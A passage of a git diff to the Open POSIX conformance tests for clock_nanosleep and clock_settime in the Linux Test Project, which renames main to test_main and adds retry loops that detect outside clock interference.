a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/11-1.c @@ -28,7 +28,7 @@ static int invalid_tests[NUMINVALIDTESTS] = { 1000000001 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/13-1.c index 8cf13ebb..78cfaef1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/13-1.c @@ -17,7 +17,7 @@ #define BOGUSCLOCKID 99999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-1.c index 87bda99d..f16ec3bc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-1.c @@ -21,7 +21,7 @@ #define SLEEPSEC 3 #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep, tsbefore, tsafter; time_t sleepuntilsec; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-2.c index 8cafb3bf..bd212910 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-2.c @@ -34,7 +34,7 @@ static void handler(int signo) printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep, tsbefore, tsafter; int pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-3.c index 3938f44b..e8751dcc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/2-3.c @@ -20,7 +20,7 @@ #define SLEEPSEC 30 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep, tsbefore, tsafter; int pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/3-1.c index d4312f5b..d69493a2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/3-1.c @@ -22,7 +22,7 @@ #define SLEEPSEC 3 #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep, tsbefore, tsafter; time_t sleepuntilsec; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/9-1.c index 69e6e073..3bcb95d5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/9-1.c @@ -33,7 +33,7 @@ static void handler(int signo) printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep, tsbefore, tsafter, tsremain; int pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/1-1.c index a39e2a62..505d919f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/1-1.c @@ -26,7 +26,7 @@ #define TESTTIME 1037128358 #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tpset, tpget, tpreset, tpres; int delta, nsdelta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/17-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/17-1.c index af3a5872..07543360 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/17-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/17-1.c @@ -21,7 +21,7 @@ #define BOGUSCLOCKID 9999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tpset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/17-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/17-2.c index 990e4147..322e0afa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/17-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/17-2.c @@ -16,7 +16,7 @@ * unassigned value = -1073743192 (ex. of what gcc will set to) * unassigned value = 1073743192 (ex. of what gcc will set to) * -1 - * 17 (currently not = to any clock) + * 50 (hopefully big enough value not to be a valid clock id) * * The date chosen is Nov 12, 2002 ~11:13am (date when test was first * written). @@ -34,10 +34,10 @@ static int invalid_tests[NUMINVALIDTESTS] = { INT32_MIN, INT32_MAX, 2147483647, -2147483647, -1073743192, - 1073743192, -1, 17 + 1073743192, -1, 50 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tpset; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/19-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/19-1.c index 98ec9352..27fb0835 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/19-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/19-1.c @@ -36,7 +36,7 @@ static int invalid_tests[NUMINVALIDTESTS] = { 1073743192, -1, 1000000000, 1000000001 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tsset, tscurrent, tsreset; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/20-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/20-1.c index a21a2a11..4dd288d3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/20-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/20-1.c @@ -18,7 +18,7 @@ #define TESTTIME 1037128358 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifdef CLOCK_MONOTONIC struct timespec tpset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/4-1.c index f8a3e9c5..ebd60996 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/4-1.c @@ -28,6 +28,7 @@ #include <signal.h> #include <unistd.h> #include "posixtest.h" +#include "clock.h" #include "helpers.h" // SLEEPTIME < TIMEROFFSET @@ -38,7 +39,7 @@ #define SIGTOTEST SIGALRM -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct timespec tpT0, tpT2, tpreset; @@ -47,7 +48,7 @@ int main(void) int delta; int sig; sigset_t set; - int flags = 0; + int attempt, ret; /* Check that we're root...can't call clock_settime with CLOCK_REALTIME otherwise */ if (geteuid() != 0) { @@ -77,49 +78,65 @@ int main(void) return PTS_UNRESOLVED; } - if (clock_gettime(CLOCK_REALTIME, &tpT0) != 0) { - perror("clock_gettime() was not successful\n"); - return PTS_UNRESOLVED; - } - if (timer_create(CLOCK_REALTIME, &ev, &tid) != 0) { perror("timer_create() did not return success\n"); return PTS_UNRESOLVED; } - flags |= TIMER_ABSTIME; - its.it_interval.tv_sec = 0; - its.it_interval.tv_nsec = 0; - its.it_value.tv_sec = tpT0.tv_sec + TIMEROFFSET; - its.it_value.tv_nsec = tpT0.tv_nsec; - if (timer_settime(tid, flags, &its, NULL) != 0) { - perror("timer_settime() did not return success\n"); - return PTS_UNRESOLVED; - } - - sleep(SLEEPTIME); - getBeforeTime(&tpreset); - if (clock_settime(CLOCK_REALTIME, &tpT0) != 0) { - perror("clock_settime() was not successful"); - return PTS_UNRESOLVED; - } - - if (sigwait(&set, &sig) == -1) { - perror("sigwait() was not successful\n"); - return PTS_UNRESOLVED; + for (attempt = 0; attempt < PTS_MONO_MAX_RETRIES; attempt++) { + if (clock_gettime(CLOCK_REALTIME, &tpT0) != 0) { + perror("clock_gettime() was not successful\n"); + return PTS_UNRESOLVED; + } + + if (pts_mono_time_start() != 0) + return PTS_UNRESOLVED; + + its.it_interval.tv_sec = 0; + its.it_interval.tv_nsec = 0; + its.it_value.tv_sec = tpT0.tv_sec + TIMEROFFSET; + its.it_value.tv_nsec = tpT0.tv_nsec; + if (timer_settime(tid, TIMER_ABSTIME, &its, NULL) != 0) { + perror("timer_settime() did not return success\n"); + return PTS_UNRESOLVED; + } + + sleep(SLEEPTIME); + getBeforeTime(&tpreset); + if (clock_settime(CLOCK_REALTIME, &tpT0) != 0) { + perror("clock_settime() was not successful"); + return PTS_UNRESOLVED; + } + + if (sigwait(&set, &sig) == -1) { + perror("sigwait() was not successful\n"); + return PTS_UNRESOLVED; + } + + if (clock_gettime(CLOCK_REALTIME, &tpT2) != 0) { + printf("clock_gettime() was not successful\n"); + return PTS_UNRESOLVED; + } + + delta = tpT2.tv_sec - its.it_value.tv_sec; + + // add back time waited to reset value and reset time + tpreset.tv_sec += tpT2.tv_sec - tpT0.tv_sec; + setBackTime(tpreset); + + ret = pts_mono_time_check(SLEEPTIME + TIMEROFFSET); + if (ret < 0) + return PTS_UNRESOLVED; + if (ret == 0) + break; } - if (clock_gettime(CLOCK_REALTIME, &tpT2) != 0) { - printf("clock_gettime() was not successful\n"); - return PTS_UNRESOLVED; + if (attempt == PTS_MONO_MAX_RETRIES) { + printf("UNTESTED: persistent clock interference after %d attempts\n", + PTS_MONO_MAX_RETRIES); + return PTS_UNTESTED; } - delta = tpT2.tv_sec - its.it_value.tv_sec; - - // add back time waited to reset value and reset time - tpreset.tv_sec += tpT2.tv_sec - tpT0.tv_sec; - setBackTime(tpreset); - printf("delta: %d\n", delta); if ((delta <= ACCEPTABLEDELTA) && (delta >= 0)) { printf("Test PASSED\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/4-2.c index a431c765..96e741e1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/4-2.c @@ -44,7 +44,7 @@ static void handler(int signo) exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/5-1.c index 75fa591e..06023036 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/5-1.c @@ -23,6 +23,7 @@ #include <unistd.h> #include <stdlib.h> #include "posixtest.h" +#include "clock.h" #include "helpers.h" #define TIMERSEC 5 @@ -41,7 +42,7 @@ static void handler(int signo) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; @@ -49,6 +50,8 @@ int main(void) struct itimerspec its; timer_t tid; sigset_t set; + int ns_ret; + int attempt, ret; /* Check that we're root...can't call clock_settime with CLOCK_REALTIME otherwise */ if (getuid() != 0) { @@ -92,42 +95,60 @@ int main(void) its.it_value.tv_sec = TIMERSEC; its.it_value.tv_nsec = 0; - if (timer_settime(tid, 0, &its, NULL) != 0) { - perror("timer_settime() did not return success\n"); - return PTS_UNRESOLVED; - } + for (attempt = 0; attempt < PTS_MONO_MAX_RETRIES; attempt++) { + if (timer_settime(tid, 0, &its, NULL) != 0) { + perror("timer_settime() did not return success\n"); + return PTS_UNRESOLVED; + } - if (clock_gettime(CLOCK_REALTIME, &tsclock) != 0) { - printf("clock_gettime() did not return success\n"); - return PTS_UNRESOLVED; - } + if (pts_mono_time_start() != 0) + return PTS_UNRESOLVED; - tsclock.tv_sec -= CLOCKOFFSET; - getBeforeTime(&tsreset); - if (clock_settime(CLOCK_REALTIME, &tsclock) != 0) { - printf("clock_settime() was not successful\n"); - return PTS_UNRESOLVED; + if (clock_gettime(CLOCK_REALTIME, &tsclock) != 0) { + printf("clock_gettime() did not return success\n"); + return PTS_UNRESOLVED; + } + + tsclock.tv_sec -= CLOCKOFFSET; + getBeforeTime(&tsreset); + if (clock_settime(CLOCK_REALTIME, &tsclock) != 0) { + printf("clock_settime() was not successful\n"); + return PTS_UNRESOLVED; + } + + ts.tv_sec = TIMERSEC + SLEEPDELTA; + ts.tv_nsec = 0; + + ns_ret = nanosleep(&ts, &tsleft); + + ret = pts_mono_time_check(TIMERSEC); + tsreset.tv_sec += TIMERSEC; + setBackTime(tsreset); + + if (ret < 0) + return PTS_UNRESOLVED; + if (ret == 0) + break; } - ts.tv_sec = TIMERSEC + SLEEPDELTA; - ts.tv_nsec = 0; + if (attempt == PTS_MONO_MAX_RETRIES) { + printf("UNTESTED: persistent clock interference after %d attempts\n", + PTS_MONO_MAX_RETRIES); + return PTS_UNTESTED; + } - if (nanosleep(&ts, &tsleft) != -1) { + if (ns_ret != -1) { printf("nanosleep() not interrupted\n"); return PTS_FAIL; } if (labs(tsleft.tv_sec - SLEEPDELTA) <= ACCEPTABLEDELTA) { printf("Test PASSED\n"); - tsreset.tv_sec += TIMERSEC; - setBackTime(tsreset); return PTS_PASS; - } else { - printf("Timer did not last for correct amount of time\n"); - printf("timer: %d != correct %d\n", - (int)ts.tv_sec - (int)tsleft.tv_sec, TIMERSEC); - return PTS_FAIL; } - return PTS_UNRESOLVED; + printf("Timer did not last for correct amount of time\n"); + printf("timer: %d != correct %d\n", + (int)ts.tv_sec - (int)tsleft.tv_sec, TIMERSEC); + return PTS_FAIL; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/5-2.c index b8a60028..bb4e86c2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/5-2.c @@ -23,6 +23,7 @@ #include <unistd.h> #include <stdlib.h> #include "posixtest.h" +#include "clock.h" #include "helpers.h" #define TIMERSEC 5 @@ -41,7 +42,7 @@ static void handler(int signo) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; @@ -49,6 +50,8 @@ int main(void) struct itimerspec its; timer_t tid; sigset_t set; + int ns_ret; + int attempt, ret; /* Check that we're root...can't call clock_settime with CLOCK_REALTIME otherwise */ if (getuid() != 0) { @@ -92,35 +95,55 @@ int main(void) its.it_value.tv_sec = TIMERSEC; its.it_value.tv_nsec = 0; - if (timer_settime(tid, 0, &its, NULL) != 0) { - perror("timer_settime() did not return success\n"); - return PTS_UNRESOLVED; - } + for (attempt = 0; attempt < PTS_MONO_MAX_RETRIES; attempt++) { + if (timer_settime(tid, 0, &its, NULL) != 0) { + perror("timer_settime() did not return success\n"); + return PTS_UNRESOLVED; + } - if (clock_gettime(CLOCK_REALTIME, &tsclock) != 0) { - printf("clock_gettime() did not return success\n"); - return PTS_UNRESOLVED; - } + if (pts_mono_time_start() != 0) + return PTS_UNRESOLVED; - tsclock.tv_sec += CLOCKOFFSET; - getBeforeTime(&tsreset); - if (clock_settime(CLOCK_REALTIME, &tsclock) != 0) { - printf("clock_settime() was not successful\n"); - return PTS_UNRESOLVED; + if (clock_gettime(CLOCK_REALTIME, &tsclock) != 0) { + printf("clock_gettime() did not return success\n"); + return PTS_UNRESOLVED; + } + + tsclock.tv_sec += CLOCKOFFSET; + getBeforeTime(&tsreset); + if (clock_settime(CLOCK_REALTIME, &tsclock) != 0) { + printf("clock_settime() was not successful\n"); + return PTS_UNRESOLVED; + } + + ts.tv_sec = TIMERSEC + SLEEPDELTA; + ts.tv_nsec = 0; + + ns_ret = nanosleep(&ts, &tsleft); + + ret = pts_mono_time_check(TIMERSEC); + tsreset.tv_sec += TIMERSEC; + setBackTime(tsreset); + + if (ret < 0) + return PTS_UNRESOLVED; + if (ret == 0) + break; } - ts.tv_sec = TIMERSEC + SLEEPDELTA; - ts.tv_nsec = 0; + if (attempt == PTS_MONO_MAX_RETRIES) { + printf("UNTESTED: persistent clock interference after %d attempts\n", + PTS_MONO_MAX_RETRIES); + return PTS_UNTESTED; + } - if (nanosleep(&ts, &tsleft) != -1) { + if (ns_ret != -1) { printf("nanosleep() not interrupted\n"); return PTS_FAIL; } if (labs(tsleft.tv_sec - SLEEPDELTA) <= ACCEPTABLEDELTA) { printf("Test PASSED\n"); - tsreset.tv_sec += TIMERSEC; - setBackTime(tsreset); return PTS_PASS; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/6-1.c index 163ce59e..a43ac477 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/6-1.c @@ -16,7 +16,7 @@ #define TESTTIME 1037128358 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifdef CLOCK_MONOTONIC struct timespec tpset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/7-1.c index 569eae90..0ed40fe6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/7-1.c @@ -24,6 +24,7 @@ #include <unistd.h> #include <sys/wait.h> #include "posixtest.h" +#include "clock.h" #include "helpers.h" #define SLEEPOFFSET 5 @@ -33,10 +34,11 @@ #define CHILDPASS 1 #define CHILDFAIL 0 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { - struct timespec tsT0, tsT1; - int pid; + struct timespec tsT0, tsT1, tsreset; + int pid, child_status; + int attempt, ret; /* Check that we're root...can't call clock_settime with CLOCK_REALTIME otherwise */ if (getuid() != 0) { @@ -44,50 +46,54 @@ int main(void) return PTS_UNTESTED; } - if (clock_gettime(CLOCK_REALTIME, &tsT0) != 0) { - perror("clock_gettime() did not return success\n"); - return PTS_UNRESOLVED; - } - - if ((pid = fork()) == 0) { - /* child here */ - int flags = 0; - struct timespec tsT2; + for (attempt = 0; attempt < PTS_MONO_MAX_RETRIES; attempt++) { + if (clock_gettime(CLOCK_REALTIME, &tsT0) != 0) { + perror("clock_gettime() did not return success\n"); + return PTS_UNRESOLVED; + } - tsT1.tv_sec = tsT0.tv_sec + SLEEPOFFSET; - tsT1.tv_nsec = tsT0.tv_nsec; + if (pts_mono_time_start() != 0) + return PTS_UNRESOLVED; - flags |= TIMER_ABSTIME; - if (clock_nanosleep(CLOCK_REALTIME, flags, &tsT1, NULL) != 0) { - printf("clock_nanosleep() did not return success\n"); - return CHILDFAIL; + pid = fork(); + if (pid < 0) { + perror("fork() failed"); + return PTS_UNRESOLVED; } + if (pid == 0) { + /* child here */ + int flags = 0; + struct timespec tsT2; - if (clock_gettime(CLOCK_REALTIME, &tsT2) != 0) { - perror("clock_gettime() did not return success\n"); - return CHILDFAIL; - } + tsT1.tv_sec = tsT0.tv_sec + SLEEPOFFSET; + tsT1.tv_nsec = tsT0.tv_nsec; + + flags |= TIMER_ABSTIME; + if (clock_nanosleep(CLOCK_REALTIME, flags, &tsT1, NULL) != 0) { + printf("clock_nanosleep() did not return success\n"); + return CHILDFAIL; + } + + if (clock_gettime(CLOCK_REALTIME, &tsT2) != 0) { + perror("clock_gettime() did not return success\n"); + return CHILDFAIL; + } + + if (tsT2.tv_sec >= tsT1.tv_sec) { + if ((tsT2.tv_sec - tsT1.tv_sec) <= ACCEPTABLEDELTA) + return CHILDPASS; - if (tsT2.tv_sec >= tsT1.tv_sec) { - if ((tsT2.tv_sec - tsT1.tv_sec) <= ACCEPTABLEDELTA) { - return CHILDPASS; - } else { printf("Ended too late. %d >> %d\n", (int)tsT2.tv_sec, (int)tsT1.tv_sec); return CHILDFAIL; } - } else { + printf("Did not sleep for long enough %d < %d\n", (int)tsT2.tv_sec, (int)tsT1.tv_sec); return CHILDFAIL; } - return CHILDFAIL; - } else { /* parent here */ - int i; - struct timespec tsreset; - sleep(SMALLTIME); if (clock_settime(CLOCK_REALTIME, &tsT0) != 0) { @@ -95,22 +101,33 @@ int main(void) return PTS_UNRESOLVED; } - if (wait(&i) == -1) { + if (wait(&child_status) == -1) { perror("Error waiting for child to exit\n"); return PTS_UNRESOLVED; } - getBeforeTime(&tsreset); // get current time + getBeforeTime(&tsreset); tsreset.tv_sec += SMALLTIME; setBackTime(tsreset); - if (WIFEXITED(i) && WEXITSTATUS(i)) { - printf("Test PASSED\n"); - return PTS_PASS; - } else { - printf("Test FAILED\n"); - return PTS_FAIL; - } + + ret = pts_mono_time_check(SMALLTIME + SLEEPOFFSET); + if (ret < 0) + return PTS_UNRESOLVED; + if (ret == 0) + break; + } + + if (attempt == PTS_MONO_MAX_RETRIES) { + printf("UNTESTED: persistent clock interference after %d attempts\n", + PTS_MONO_MAX_RETRIES); + return PTS_UNTESTED; + } + + if (WIFEXITED(child_status) && WEXITSTATUS(child_status)) { + printf("Test PASSED\n"); + return PTS_PASS; } - return PTS_UNRESOLVED; + printf("Test FAILED\n"); + return PTS_FAIL; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/7-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/7-2.c index 7c340b6c..6162152e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/7-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/7-2.c @@ -23,6 +23,7 @@ #include <unistd.h> #include <sys/wait.h> #include "posixtest.h" +#include "clock.h" #include "helpers.h" #define SLEEPOFFSET 5 @@ -31,11 +32,14 @@ #define CHILDPASS 1 #define CHILDFAIL 0 +#define CHILDUNTESTED 2 +#define CHILDUNRESOLVED 3 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { - struct timespec tsT0, tsT1, tsT2; - int pid; + struct timespec tsT0, tsT1, tsT2, tsreset; + int pid, child_status; + int attempt, ret; /* Check that we're root...can't call clock_settime with CLOCK_REALTIME otherwise */ if (getuid() != 0) { @@ -43,53 +47,70 @@ int main(void) return PTS_UNTESTED; } - if (clock_gettime(CLOCK_REALTIME, &tsT0) != 0) { - perror("clock_gettime() did not return success\n"); - return PTS_UNRESOLVED; - } - - tsT1.tv_sec = tsT0.tv_sec + SLEEPOFFSET; - tsT1.tv_nsec = tsT0.tv_nsec; + for (attempt = 0; attempt < PTS_MONO_MAX_RETRIES; attempt++) { + if (clock_gettime(CLOCK_REALTIME, &tsT0) != 0) { + perror("clock_gettime() did not return success\n"); + return PTS_UNRESOLVED; + } - tsT2.tv_sec = tsT1.tv_sec + SMALLTIME; - tsT2.tv_nsec = tsT1.tv_nsec; + tsT1.tv_sec = tsT0.tv_sec + SLEEPOFFSET; + tsT1.tv_nsec = tsT0.tv_nsec; - if ((pid = fork()) == 0) { - /* child here */ - int flags = 0; - struct timespec tsT3; + tsT2.tv_sec = tsT1.tv_sec + SMALLTIME; + tsT2.tv_nsec = tsT1.tv_nsec; - flags |= TIMER_ABSTIME; - if (clock_nanosleep(CLOCK_REALTIME, flags, &tsT1, NULL) != 0) { - printf("clock_nanosleep() did not return success\n"); - return CHILDFAIL; + pid = fork(); + if (pid < 0) { + perror("fork() failed"); + return PTS_UNRESOLVED; } + if (pid == 0) { + /* child here */ + int flags = 0; + struct timespec tsT3; - if (clock_gettime(CLOCK_REALTIME, &tsT3) != 0) { - perror("clock_gettime() did not return success\n"); - return CHILDFAIL; - } + flags |= TIMER_ABSTIME; + + if (pts_mono_time_start() != 0) + return CHILDUNRESOLVED; + + if (clock_nanosleep(CLOCK_REALTIME, flags, &tsT1, NULL) != 0) { + printf("clock_nanosleep() did not return success\n"); + return CHILDFAIL; + } + + /* + * The parent sleeps 1s before jumping the clock forward. + * If clock_nanosleep returned too quickly, an external + * clock adjustment (NTP, VM sync) woke us instead of the + * parent's clock_settime. + */ + ret = pts_mono_time_check(1); + if (ret < 0) + return CHILDUNRESOLVED; + if (ret > 0) + return CHILDUNTESTED; + + if (clock_gettime(CLOCK_REALTIME, &tsT3) != 0) { + perror("clock_gettime() did not return success\n"); + return CHILDFAIL; + } + + if (tsT3.tv_sec >= tsT2.tv_sec) { + if ((tsT3.tv_sec - tsT2.tv_sec) <= ACCEPTABLEDELTA) + return CHILDPASS; - if (tsT3.tv_sec >= tsT2.tv_sec) { - if ((tsT3.tv_sec - tsT2.tv_sec) <= ACCEPTABLEDELTA) { - return CHILDPASS; - } else { printf("Ended too late. %d >> %d\n", (int)tsT3.tv_sec, (int)tsT2.tv_sec); return CHILDFAIL; } - } else { + printf("Did not sleep for long enough %d < %d\n", (int)tsT3.tv_sec, (int)tsT2.tv_sec); return CHILDFAIL; } - return CHILDFAIL; - } else { /* parent here */ - int i; - struct timespec tsreset; - sleep(1); getBeforeTime(&tsreset); @@ -98,21 +119,34 @@ int main(void) return PTS_UNRESOLVED; } - if (wait(&i) == -1) { + if (wait(&child_status) == -1) { perror("Error waiting for child to exit\n"); return PTS_UNRESOLVED; } - setBackTime(tsreset); //should be ~= before time + setBackTime(tsreset); - if (WIFEXITED(i) && WEXITSTATUS(i)) { - printf("Test PASSED\n"); - return PTS_PASS; - } else { - printf("Test FAILED\n"); - return PTS_FAIL; - } + if (!WIFEXITED(child_status)) + break; + + if (WEXITSTATUS(child_status) == CHILDUNRESOLVED) + return PTS_UNRESOLVED; + + if (WEXITSTATUS(child_status) != CHILDUNTESTED) + break; + } + + if (attempt == PTS_MONO_MAX_RETRIES) { + printf("UNTESTED: persistent clock interference after %d attempts\n", + PTS_MONO_MAX_RETRIES); + return PTS_UNTESTED; + } + + if (WIFEXITED(child_status) && WEXITSTATUS(child_status) == CHILDPASS) { + printf("Test PASSED\n"); + return PTS_PASS; } - return PTS_UNRESOLVED; + printf("Test FAILED\n"); + return PTS_FAIL; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/8-1.c index 4340cc8d..2dc85ba6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/8-1.c @@ -31,7 +31,7 @@ #define CHILDPASS 1 #define CHILDFAIL 0 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tsT0, tssleep; int pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/helpers.h b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/helpers.h index 133a579a..c559c189 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/helpers.h +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/helpers.h @@ -12,6 +12,10 @@ * in certain tests, they make use of some libraries already included * by those tests. */ + +#ifndef CLOCK_SETTIME_HELPERS_H +#define CLOCK_SETTIME_HELPERS_H + static int getBeforeTime(struct timespec *tpget) { if (clock_gettime(CLOCK_REALTIME, tpget) != 0) { @@ -32,3 +36,4 @@ static int setBackTime(struct timespec tpset) return PTS_PASS; } +#endif /* 